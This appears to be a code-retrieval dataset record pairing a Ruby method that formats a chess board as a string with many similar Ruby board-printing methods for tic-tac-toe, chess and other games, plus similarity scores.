"def show_board\n \tputs \"-\"*16\n \tputs \"| #{@case_array[0].symbol} | #{@case_array[1].symbol} | #{@case_array[2].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[3].symbol} | #{@case_array[4].symbol} | #{@case_array[5].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[6].symbol} | #{@case_array[7].symbol} | #{@case_array[8].symbol} |\"\n \tputs \"-\"*16\n\tend",
"def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n board =\n \" _______ _______ _______\n | | | |\n A| #{@state[:A1]} | #{@state[:A2]} | #{@state[:A3]} |\n |_______|_______|_______|\n | | | |\n B| #{@state[:B1]} | #{@state[:B2]} | #{@state[:B3]} |\n |_______|_______|_______|\n | | | |\n C| #{@state[:C1]} | #{@state[:C2]} | #{@state[:C3]} |\n |_______|_______|_______|\n 1 2 3\n \"\n puts board\n end",
"def display_board\n puts \"\\n---------------\\n\".center(5)\n @board.play_area[0..2].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[3..5].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[6..8].each { |square| print square.to_s.center(5) }\n puts \"\\n---------------\\n\".center(5)\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \" \n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def render\n @board.each.with_index do |row, y|\n row.each.with_index do |item, x|\n chr = item.nil? ? \" \" : item\n print \" #{chr} \"\n print \"|\" unless x == row.size - 1\n end\n print \"\\n-----------\\n\" unless y == @board.size - 1\n end\n print \"\\n\"\n end",
"def show_board\n @display.each do |row|\n puts row.join(' ')\n end\n end",
"def draw_board\n @squares.each do |square|\n print \" #{square.value ? \" #{square.value} \" : \"[#{square.location}]\"} \"\n if square.location.to_i % 3 == 2 && square.location.to_i != 8\n print \"\\n\"\n puts \"------------------\\n\"\n elsif square.location.to_i == 8\n print \"\\n\"\n else\n print\"|\"\n end\n end\n end",
"def print_board\n\t\tputs \"GAME BOARD AT TIME: #{@current_turn}\"\n\t\tprint full_game_board.map{|c| c.join(\"\")}.join(\"\\n\")\n\tend",
"def display\n system('clear')\n puts\n # show board with pieces\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\\n\\n\"\n print \"\\t +\", \" ----- +\"*8,\"\\n\\n\"\n 8.downto(1) do |rank|\n print \"\\t#{rank} |\\t\"\n 'A'.upto('H') do |file|\n if board[\"#{file}#{rank}\".to_cell] then piece = board[\"#{file}#{rank}\".to_cell]\n else piece = \" \"\n end\n print \"#{piece} |\\t\"\n end\n print \"#{rank}\\n\\n\\t +\", \" ----- +\"*8,\"\\n\\n\"\n end\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\"\n puts \"\\n\\n\"\n # show occupancy\n print \" White occupancy: \"\n puts whitePieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n print \" Black occupancy: \"\n puts blackPieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n puts\n # show whose move it is\n case @whitesMove\n when true\n puts \" WHITE to move.\"\n when false\n puts \" BLACK to move.\"\n end\n puts\n end",
"def render\n @board.grid.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n if all_even?(row_i, col_i) || all_odd?(row_i, col_i) # this condition is for white # the two cases where the board is white is when either both row and col are even or both are odd, amazing, quite elegant\n print_piece(col, row_i, col_i, piece_color(col), \"#9AB3C9\")\n else\n print_piece(col, row_i, col_i, piece_color(col), \"#4A7190\") # this is for black lol the hex colors don't make it as clear anymore lol\n end\n end\n puts # make a new line after each row\n end\n nil # so it doesn't return the whole board just a placeholder while you play with this thing\n end",
"def show_board\n puts \" \" + board_spaces[1] + \" | \" + board_spaces[2] + \" | \" + board_spaces[3] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[4] + \" | \" + board_spaces[5] + \" | \" + board_spaces[6] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[7] + \" | \" + board_spaces[8] + \" | \" + board_spaces[9] + \" \"\n end",
"def display_board\n row_idx = -1\n numera = [1,2,3,4,5,6,7,8,9]\n @display = @grid.map do |row|\n \n col_idx = -1\n row_idx += 1 \n row.map do |col| \n col_idx += 1 \n if @flag_pair.include? ((row_idx.to_s) + (col_idx.to_s))\n col = 'F'.orange\n elsif col == :B\n col = 'H'.green\n elsif (@known_empty.include? ((row_idx.to_s) + (col_idx.to_s))) && (numera.include? col)\n col = col.to_s.red\n elsif @known_empty.include? ((row_idx.to_s) + (col_idx.to_s))\n col = 'O'.blue\n else\n col = 'H'.green\n end \n end \n end\n end",
"def display_board(board)\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n board = [\" \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board1 = [\" O \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board2 = [\" O \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board3 = [\" X \",\" \",\" \",\" \" X \" \",\" \",\" X \",\" \",\" \"]\n board4 = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board5 = [\" \",\" \",\" O \",\" \",\" O \",\" \",\" O \",\" \",\" \"]\n board6 = [\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \"]\nend",
"def display\n \"\\n=============COMPUTER BOARD=============\\n\" +\n \"#{@npc.board.render}\\n\" +\n \"==============PLAYER BOARD==============\\n\" +\n \"#{@user_board.render(true)}\\n\"\n end",
"def display\n puts \"#{@board.join(\" \")}\"\n end",
"def display_board(game_board, guesser)\r\n puts %(Color matches: 1 - #{output_color(' Black ', 1)}; 2 - #{output_color(' Cyan ', 2)}; 3 - #{output_color(' Red ', 3)}; 4 - #{output_color(' Yellow ', 4)}; 5 - #{output_color(' Magenta ', 5)}; 6 - #{output_color(' Blue ', 6)}\r\n Guessing: #{guesser.name}\r\n\r\n ___________________________\r\n | | | | | | | |\r\n | x | #{output_color(game_board.get_game(0, 0))} | #{output_color(game_board.get_game(1, 0))} | #{output_color(game_board.get_game(2, 0))} | #{output_color(game_board.get_game(3, 0))} | #{output_color(game_board.get_game(4, 0))} | #{output_color(game_board.get_game(5, 0))} |\r\n | x | #{output_color(game_board.get_game(0, 1))} | #{output_color(game_board.get_game(1, 1))} | #{output_color(game_board.get_game(2, 1))} | #{output_color(game_board.get_game(3, 1))} | #{output_color(game_board.get_game(4, 1))} | #{output_color(game_board.get_game(5, 1))} |\r\n | x | #{output_color(game_board.get_game(0, 2))} | #{output_color(game_board.get_game(1, 2))} | #{output_color(game_board.get_game(2, 2))} | #{output_color(game_board.get_game(3, 2))} | #{output_color(game_board.get_game(4, 2))} | #{output_color(game_board.get_game(5, 2))} |\r\n | x | #{output_color(game_board.get_game(0, 3))} | #{output_color(game_board.get_game(1, 3))} | #{output_color(game_board.get_game(2, 3))} | #{output_color(game_board.get_game(3, 3))} | #{output_color(game_board.get_game(4, 3))} | #{output_color(game_board.get_game(5, 3))} |\r\n |___|___|___|___|___|___|___|\r\n | #{output_color(game_board.get_game(0,4), 7)} | #{output_color(game_board.get_game(1,4), 7)} | #{output_color(game_board.get_game(2,4), 7)} | #{output_color(game_board.get_game(3,4), 7)} | #{output_color(game_board.get_game(4,4),7)} | #{output_color(game_board.get_game(5,4),7)} |\r\n | #{game_board.get_game(0,5)} | #{game_board.get_game(1,5)} | #{game_board.get_game(2,5)} | #{game_board.get_game(3,5)} | #{game_board.get_game(4,5)} | #{game_board.get_game(5,5)} |\r\n |___|___|___|___|___|___|\r\n)\r\n end",
"def print_board\n puts \"\\n[#{@spaces[1]}][#{@spaces[2]}][#{@spaces[3]}]\\n[#{@spaces[4]}][#{@spaces[5]}][#{@spaces[6]}]\\n[#{@spaces[7]}][#{@spaces[8]}][#{@spaces[9]}]\\n\\n\"\n end",
"def display_board(boardState)\n row1 = \" #{boardState[0].upcase} | #{boardState[1].upcase} | #{boardState[2].upcase} \"\n rowDivider = \"-----------\"\n row2 = \" #{boardState[3].upcase} | #{boardState[4].upcase} | #{boardState[5].upcase} \"\n row3 = \" #{boardState[6].upcase} | #{boardState[7].upcase} | #{boardState[8].upcase} \"\n\n puts row1\n puts rowDivider\n puts row2\n puts rowDivider\n puts row3\nend",
"def display_board(board)\n cell1 = \" #{board[0]} \"\n cell2 = \" #{board[1]} \"\n cell3 = \" #{board[2]} \"\n cell4 = \" #{board[3]} \"\n cell5 = \" #{board[4]} \"\n cell6 = \" #{board[5]} \"\n cell7 = \" #{board[6]} \"\n cell8 = \" #{board[7]} \"\n cell9 = \" #{board[8]} \"\n box = \"|\"\n line = \"-----------\"\n print cell1, box, cell2, box, cell3\n print \"\\n\",line\n print \"\\n\",cell4, box, cell5, box, cell6\n print \"\\n\",line\n print \"\\n\",cell7, box, cell8, box, cell9, \"\\n\"\nend",
"def render()\n # Display text \n puts \"Current Board: \"\n\n # array of blank strings, initialized before adding content\n render_rows = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n\n # Loop through to build the rows to render\n # Display number of rows corresponding to tower height\n # Display a column for each tower (split into rows for rendering)\n 0.upto(@no_of_discs) do |row|\n 1.upto(3) do |column|\n # Display a blank area for \"nil\" \"tower spots\"\n if @towers[column].tower_size <= row\n # Shovel a blank piece into the render row\n render_rows[row] << tower_piece(0,no_of_discs)\n else\n # Set piece size to the corresponding board value\n piece_size = @towers[column].tower[row].size\n # Shovel the corresponding piece into the render row\n render_rows[row] << tower_piece(piece_size,no_of_discs)\n end\n end\n end\n\n #Render in reverse order (top to bottom) so it appears correctly\n render_rows.reverse_each do |row|\n puts row\n end\n\n #Label line - Display a row with column labels on it under the towers\n puts \"[[[[[[[ 1 ]]]]]]][[[[[[[ 2 ]]]]]]][[[[[[[ 3 ]]]]]]]\"\n end",
"def drawBoard\n\t$firstRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\n\t$secondRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\n\t$thirdRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\nend",
"def show_board(spaces)\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def display\n @board.each { |x| \n puts x.join(\" \")\n }\n end",
"def board_visualization\n board = ''\n board_array = Array.new(@players.length) {Array.new(29, \" \")}\n\n players.each do | player |\n board_array[player[\"player_row\"]].insert(player[\"player_position\"], player[\"player_symbol\"])\n end\n\n board_array.each do |row|\n board += row.join(\" | \") + \"\\n\"\n end\n\n board\n end",
"def display_board\n cell = \" \"\n print cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n\"\n\nend",
"def print_board\n\t\tputs \"**********************************\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"| Actual board |\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"**********************************\"\n\t\t@board.each_index do |i|\n\t\t\t@board[i].each_index do |y|\n\t\t\t\tif y == 0\n\t\t\t\t\tprint 8 - i\n\t\t\t\tend\n\n\t\t\t\tif @board[i][y] == nil\n\t\t\t\t\tprint \"#{@board[i][y]} --\"\n\t\t\t\telse\n\t\t\t\t\tprint \" #{@board[i][y].piecename}\"\n\t\t\t\tend\n\n\t\t\tend\n\t\t\tputs \"\\n\"\n\t\tend\n\t\tputs \" a b c d e f g h\"\n\t\tputs \"\\n\\n\\n\\n\"\n\tend",
"def display_board_pretty\r\n\r\n # Display header letters\r\n @cols.each do |header|\r\n print ' ' + header + ' '\r\n end\r\n puts\r\n\r\n # Display board numbers\r\n for col_index in 0..4\r\n for row_index in 0..4\r\n\r\n board_num = @bingo_board[row_index][col_index]\r\n\r\n # Pretty print: print filler spaces if number has fewer digits\r\n if board_num.to_s.length == 1\r\n print ' '\r\n end\r\n if board_num.to_s.length == 2\r\n print ' '\r\n end\r\n\r\n print board_num.to_s + ' '\r\n\r\n end\r\n puts\r\n end\r\n\r\n end",
"def display_board\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\nend",
"def display_board(stuff)\n print \"\\t|\\s#{stuff[1]}\\s\".colorize(:cyan)\n print \"|\\s#{stuff[2]}\\s\".colorize(:cyan)\n puts \"|\\s#{stuff[3]}\\s|\".colorize(:cyan)\n puts \"\\t-------------\".colorize(:cyan)\n print \"\\t|\\s#{stuff[4]}\\s\".colorize(:cyan)\n print \"|\\s#{stuff[5]}\\s\".colorize(:cyan)\n puts \"|\\s#{stuff[6]}\\s|\".colorize(:cyan)\n puts \"\\t-------------\".colorize(:cyan)\n print \"\\t|\\s#{stuff[7]}\\s\".colorize(:cyan)\n print \"|\\s#{stuff[8]}\\s\".colorize(:cyan)\n puts \"|\\s#{stuff[9]}\\s|\".colorize(:cyan)\nend",
"def draw_board()\n @board\n p \"#{@board[0]} || #{@board[1]} || #{@board[2]}\"\n p \"===========\"\n p \"#{@board[3]} || #{@board[4]} || #{@board[5]}\"\n p \"===========\"\n p \"#{@board[6]} || #{@board[7]} || #{@board[8]}\"\n puts \"\\n\"\n puts \"\\n\"\n end",
"def display_board\r\nprint \" #{@board[0]} | #{@board[1]} | #{@board[2]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[3]} | #{@board[4]} | #{@board[5]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\nend",
"def display_board(board_state)\n #row 1\n puts \" #{board_state[0]} | #{board_state[1]} | #{board_state[2]} \"\n puts \"-----------\"\n #row 2\n puts \" #{board_state[3]} | #{board_state[4]} | #{board_state[5]} \"\n puts \"-----------\"\n #row 3\n puts \" #{board_state[6]} | #{board_state[7]} | #{board_state[8]} \"\nend"
] | [
"0.80805194",
"0.8028908",
"0.7965511",
"0.7818274",
"0.7812059",
"0.78038144",
"0.78025866",
"0.7784029",
"0.77781624",
"0.77687305",
"0.7731792",
"0.7728171",
"0.77244544",
"0.7723759",
"0.77085364",
"0.7705398",
"0.7699296",
"0.7696927",
"0.7692793",
"0.7688391",
"0.7681473",
"0.7668173",
"0.7667444",
"0.7665649",
"0.7660866",
"0.76571727",
"0.7655126",
"0.765203",
"0.76500374",
"0.76499504",
"0.76468116",
"0.7614878",
"0.7614702",
"0.7609667",
"0.7587291",
"0.75791186",
"0.7571279",
"0.7566216",
"0.7564313",
"0.75642586",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.7553188",
"0.75467795",
"0.75467336",
"0.7543029",
"0.7543029",
"0.7536976",
"0.75308263",
"0.7527795",
"0.7522536",
"0.7521091",
"0.7511974",
"0.75112534",
"0.7508655",
"0.75083965",
"0.7507598",
"0.75046474",
"0.750459",
"0.750459",
"0.7490823",
"0.74906725",
"0.7482551",
"0.7477717",
"0.7473069",
"0.7465869",
"0.746256",
"0.74619067",
"0.74615127",
"0.745572",
"0.7449178",
"0.74405295",
"0.74385196",
"0.7433168",
"0.7431228",
"0.74252707",
"0.74164736",
"0.7415366",
"0.7414124",
"0.74067265",
"0.7400994",
"0.7393938",
"0.7391447",
"0.7388279",
"0.73849016",
"0.7379228",
"0.7362215",
"0.73448145",
"0.7344249",
"0.7342593",
"0.7338118",
"0.73315406",
"0.7321922"
] | 0.0 | -1 |
Returns a string that resembles a chess board | def format
display_string = ""
(0..7).each do |row|
display_string += "#{row}"
(0..7).each do |col|
if @board[row][col].instance_of? ChessPiece
display_string += "[#{@board[row][col].unicode} ]"
elsif @board[row][col].is_a? String
display_string += @board[row][col]
end
end
display_string += "\n"
end
return display_string
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def board_string\n\t\toutput_string = ''\n\t\t@game_board.each do |x|\n\t\t\tx.each do |y|\n\t\t\t\tif y == ''\n\t\t\t\t\ty = '-'\n\t\t\t\tend\n\t\t\t\toutput_string += y\n\t\t\tend\n\t\t\toutput_string += \"\\n\"\n\t\tend\n\t\toutput_string\n\tend",
"def to_s\n board_2d.map do |row|\n row.map { |letter| '%-3s' % letter }.join(' ')\n end.join(\"\\n\")\n end",
"def to_s\n print_chess_board\n end",
"def board\n string = \"\"\n @array.each do |element|\n if (1..9).include?(element)\n string << element.to_s\n else\n string << \"-\"\n end\n end\n string\n end",
"def to_s\n # @board.each_char.with_index do |char|\n # p \"#{char} \"\n # p \"\\n\" if\n string = \"\"\n (0..8).each do |row|\n @board.slice(row*9,9).each_char {|char| string << \"#{char} \"}\n string << \"\\n\"\n end\n\n return string\n\n end",
"def to_s\n string_board = \"\"\n @board.each do |row|\n row.each do |square|\n string_board << \" #{square.number} \"\n end\n string_board << \"\\n\"\n end\n string_board\n end",
"def draw_board game\n\t\t\t\tstring = ''\n\t\t\t\tprint \" \"\n\t\t\t\t0.upto(14) do |x|\n\t\t\t\t\tprint \"%5s\" % [x.to_s]\n\t\t\t\tend\n\t\t\t\tgame.board.each_with_index do |square, row, column|\n\t\t\t\t\tanti_string = square.tile\n\t\t\t\t\tanti_string ||= ' '\n\t\t\t\t\tif column == 0\n\t\t\t\t\t\tputs string\n\t\t\t\t\t\tstring = \"%-3s\" % [row.to_s]\n\t\t\t\t\tend\n\t\t\t\t\tcase square.multiplier\n\t\t\t\t\twhen 3\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".green + anti_string + \" ]\".green\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".blue + anti_string + \" ]\".blue\n\t\t\t\t\t\tend\n\t\t\t\t\twhen 2\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".light_red + anti_string + \" ]\".light_red\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".light_cyan + anti_string + \" ]\".light_cyan\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tstring += \"[ \" + anti_string + \" ]\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tputs string\n\t\t\tend",
"def outboard\n out = \"\"\n (0...@board.length).each do |i|\n out += @board[i].map {|b| b == 1 ? \" X \" : \" \"}.join(\"\") + \"\\n\"\n end\n out\n end",
"def to_s\n board_string = []\n row = 0\n for i in 0..8 do\n board_string << @board[row..row + 8] + \"\\n\"\n row += 9\n end\n board_string.join\n end",
"def to_s\n board = \"\\n\"\n background = [248,250,210]\n @state.reverse.each_with_index do |row, i|\n board += \"#{(8 - i)} \"\n row.each do |square|\n if square == nil\n board += Paint[\" \", nil, background]\n else\n board += Paint[\" #{square.symbol} \", nil, background]\n end\n background = switch_background(background)\n end\n board += \"\\n\"\n background = switch_background(background)\n end\n board += \" a b c d e f g h \"\n end",
"def to_s\n @board.reduce(\"\") do |string, row|\n string_row = row.join(\" \").sub(/Q /, \"Qu\")\n string + string_row + \"\\n\"\n end\n end",
"def board\n @board_horizontal.flatten.join(\"\")\n end",
"def board\n result_string = ''\n @board.each_slice(9) do |row_to_print|\n result_string << \"\\n\"\n row_to_print.each do |cell_value|\n result_string << \" #{cell_value.value} \"\n end\n end\n result_string\n end",
"def to_s\n \" | | \\n\" + \n \" #{self.board[0]} | #{self.board[1]} | #{self.board[2]} \\n\" +\n \" _ _ _|_ _ _|_ _ _\\n\" +\n \" | | \\n\" + \n \" #{self.board[3]} | #{self.board[4]} | #{self.board[5]} \\n\" +\n \" _ _ _|_ _ _|_ _ _\\n\" +\n \" | | \\n\" +\n \" #{self.board[6]} | #{self.board[7]} | #{self.board[8]} \\n\" +\n \" | | \\n\" \n end",
"def to_s\n @board.map.with_index do |row, ridx|\n row = row.map.with_index do |num, eidx|\n element = [idx_to_num(ridx, eidx), PLAYER_1_MARKER, PLAYER_2_MARKER][num]\n element.to_s.rjust(char_length)\n end\n \" #{row.join(' | ')} \"\n end.join(print_delimiter)\n end",
"def game_board_string(id)\n gs = game_state(id)\n result = ''\n (gs.rows - 1).downto(0) { |i|\n row_matrix = gs.row i\n for j in 0..gs.columns - 1\n if row_matrix[j].nil?\n result += '-'\n else\n result += row_matrix[j].value\n end\n end\n }\n return result\n end",
"def to_s_canonical\r\n board.join('')\r\n end",
"def to_s\n # create a checkboard which is a hash\n # {[0, 0]=>\"O\", [0, 1]=>\"O\", [0, 2]=>\"O\", ... [7, 6]=>\"O\", [7, 7]=>\"O\"}\n board = Hash[(0..7).to_a.product((0..7).to_a).map {|key| [key, 'O']}]\n \n board[@white] = 'W'\n board[@black] = 'B'\n line = \"\"\n\n # [7, 7] => \"O\" \n # key is an array, value is \"0\"\n board.each do |key, val|\n if key == [7, 7]\n line += val \n elsif key[1] == 7\n line += val + \"\\n\" \n else\n line += val + \" \"\n end \n end \n line\n end",
"def to_s\n @board.map { |row| row.join (' ') }.join(\"\\n\")\n end",
"def view_board\n\t\t(1..8).to_a.reverse.each do |row|\n\t\t\tstr = \"\"\n\t\t\t('a'..'h').each do |col|\n\t\t\t\tif board[[row,col]] == 2\n\t\t\t\t\tstr << \" . \"\n\t\t\t\telse\n\t\t\t\t\tstr << \" #{board[[row, col]].to_s} \"\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tputs str\n\t\tend\n\tend",
"def board\n output = \"\"\n [*0..80].each do |i|\n output << @board[i].ljust(4)\n output << \"\\n\" if (i+1) % 9 == 0\n end\n output\n end",
"def to_s\n board_as_string = \"\"\n board.each do |row|\n board_as_string += row.join(\"\")\n end\n return board_as_string\n end",
"def show_board\n\t\ti = 1\n\t\tgame_board_string = \"\\r\\n\"\n\t\twhile i < 10\n\t\t\tgame_board_string += @board_status[i]\n\t\t\tif i % 3 == 0\n\t\t\t\tgame_board_string += \"\\r\\n\"\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\tgame_board_string += \"\\r\\n\"\n\t\treturn game_board_string\n\tend",
"def to_s\n result = \"--puzzle--\\n\"\n 9.times do |row|\n result << horiz_line if (row % 3).zero?\n line = @lines[row]\n 9.times do |col|\n result << '|' if column_before col\n square = line[col]\n if square.empty?\n result << '_'\n elsif square.metadata[:found]\n result << square.value.to_s.green\n else\n result << square.value.to_s\n end\n result << ' ' unless column_before(col + 1)\n result << '|' if col == 8\n end\n result << \"\\n\"\n result << horiz_line if row == 8\n end\n result\n end",
"def to_s()\n\t\tstr = \"\\n \"\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' '\n\t\tend\n\t\tstr << \"\\n\";\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' ';\n\t\t\tstr << @board[i].join(' ') + \"\\n\";\n\t\tend\n\t\treturn str;\n\tend",
"def to_s()\n\t\tstr = \"\\n \"\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' '\n\t\tend\n\t\tstr << \"\\n\";\n\t\tfor i in (0...@size)\n\t\t\tstr << (i+1).to_s + ' ';\n\t\t\tstr << @board[i].join(' ') + \"\\n\";\n\t\tend\n\t\treturn str;\n\tend",
"def to_s( )\n\t\t\tboard = \" +#{'---+' * 8}\\n\"\n\t\t\twhite = false\n\t\t\t(1..8).to_a.reverse.each do |rank|\n\t\t\t\tboard << \"#{rank} | \"\n\t\t\t\tboard << (\"a\"..\"h\").map do |file|\n\t\t\t\t\twhite = !white\n\t\t\t\t\t@squares[\"#{file}#{rank}\"] || (white ? \" \" : \".\")\n\t\t\t\tend.join(\" | \")\n\t\t\t\twhite = !white\n\t\t\t\tboard << \" |\\n\"\n\t\t\t\tboard << \" +#{'---+' * 8}\\n\"\n\t\t\tend\n\t\t\tboard << \" #{('a'..'h').to_a.join(' ')}\\n\"\n\t\t\tboard\n\t\tend",
"def to_s\n @board.each do |row|\n puts row.join(\" \")\n end \n end",
"def display_board\n display = \" a b c d e f g h \\n\"\n @board.each_with_index do |arr, i|\n line = \"#{i + 1} \"\n arr.each do |hash|\n hash[:piece].nil? ? line += \"#{hash[:base]} \" : line += \"#{hash[:piece].name} \"\n end\n line += \"\\n\"\n display += line\n end\n display\n end",
"def board_to_string(board)\n board\nend",
"def to_s()\n str = \"\\n \"\n for i in (0...@size)\n str << (i+1).to_s + ' '\n end\n str << \"\\n\";\n for i in (0...@size)\n str << (i+1).to_s + ' ';\n str << @board[i].join(' ') + \"\\n\";\n end\n return str;\n end",
"def board(empty_square_char = '.')\n board_str = \" ABCDEFGH\\n\"\n (@board.size-1).downto(0).each do |rank_index|\n line = \"#{rank_index+1} \"\n @board[rank_index].each do |cell|\n line << (cell.nil? ? empty_square_char : cell)\n end\n board_str << line+\"\\n\"\n end\n board_str\n end",
"def to_s\n @board_array.flatten.join(\"\")\n end",
"def to_s\n str = \"\"\n outer_counter = 0\n\n @puzzle.each do |row|\n inner_counter = 0\n row.each do |element|\n inner_counter += 1\n element = \"_\" if element == nil\n str << element.to_s\n str << \"#\" if inner_counter % 3 == 0\n end\n outer_counter += 1\n str << \"\\n\"\n str << \"############\\n\" if outer_counter % 3 == 0\n end\n str.gsub(//,\" \")[0...-39]\n end",
"def display_board\n str = \"\"\n 5.downto(0) do |i|\n @board.each {|row| str += row[i].to_s + \" \"}\n str += \"\\n\"\n end\n puts str\n end",
"def display_board\n\t\tsystem \"clear\" or system \"cls\"\n\t\tprint \" 1 2 3 4 5 6 7 8 \\n\\n\"\n\t\t(0..7).each do |row|\n\t\t\tprint \"#{(row+97).chr} \"\n\t\t\t(0..7).each do |collumn|\n\t\t\t\tprint \"#{@board[row][collumn]} \" if @board[row][collumn] == \"X\"\n\t\t\t\tprint @board[row][collumn].to_s + \" \" if @board[row][collumn].is_a?(Piece)\n\t\t\tend\n\t\t\tprint \" #{(row+97).chr} \"\n\t\t\tputs\n\n\t\tend\n\t\tprint \"\\n 1 2 3 4 5 6 7 8 \\n\"\n\tend",
"def to_s\n puts \"board goes here\"\n @board.each do |row|\n puts \"#{row}\"\n end\n # see_me = \" \"\n # @board.each {|r| see_me += r + \"\\n\" }\n end",
"def render\n (\"A\"..\"H\").each { |col| print \" #{col}\"}\n print \"\\n\\n\"\n\n (0...8).each do |row|\n # Start counting downwards - rows are upside down in ChessBoard\n row_idx = (7 - row) % @board.rows.count + 1\n print \"#{row_idx} \"\n\n (0...8).each do |col|\n pos = [row, col]\n render_piece(pos)\n end\n\n print \"\\n\\n\"\n end\n\n debug_info if @debug\n print_controls\n end",
"def to_s\n string = \"\"\n colors = [[:default, :light_white].cycle, [:light_white, :default].cycle].cycle\n\n 7.downto(0) do |row|\n string += \"#{row + 1} \"\n colors_cycle = colors.next\n\n 0.upto(7) do |column|\n piece = self[column, row]\n string += piece.nil? ? \" \" : piece.symbol\n string += \" \"\n string[-2..-1] = string[-2..-1].colorize(background: colors_cycle.next)\n end\n string += \"\\n\"\n end\n\n string += \" a b c d e f g h\"\n string\n end",
"def to_s\n for i in 0..@max_row - 1\n for j in 0..@max_column - 1\n print \"| \" + @board[i][j] + \" \"\n end\n\n puts \"|\"\n end\n end",
"def to_s\n ret_str = \"\"\n @gameboard.each do |row| \n row.each do |unit|\n ret_str.concat(\"[\" + unit.join(',') + \"]\") \n end \n ret_str.concat(\"\\n\")\n end \n return ret_str\n end",
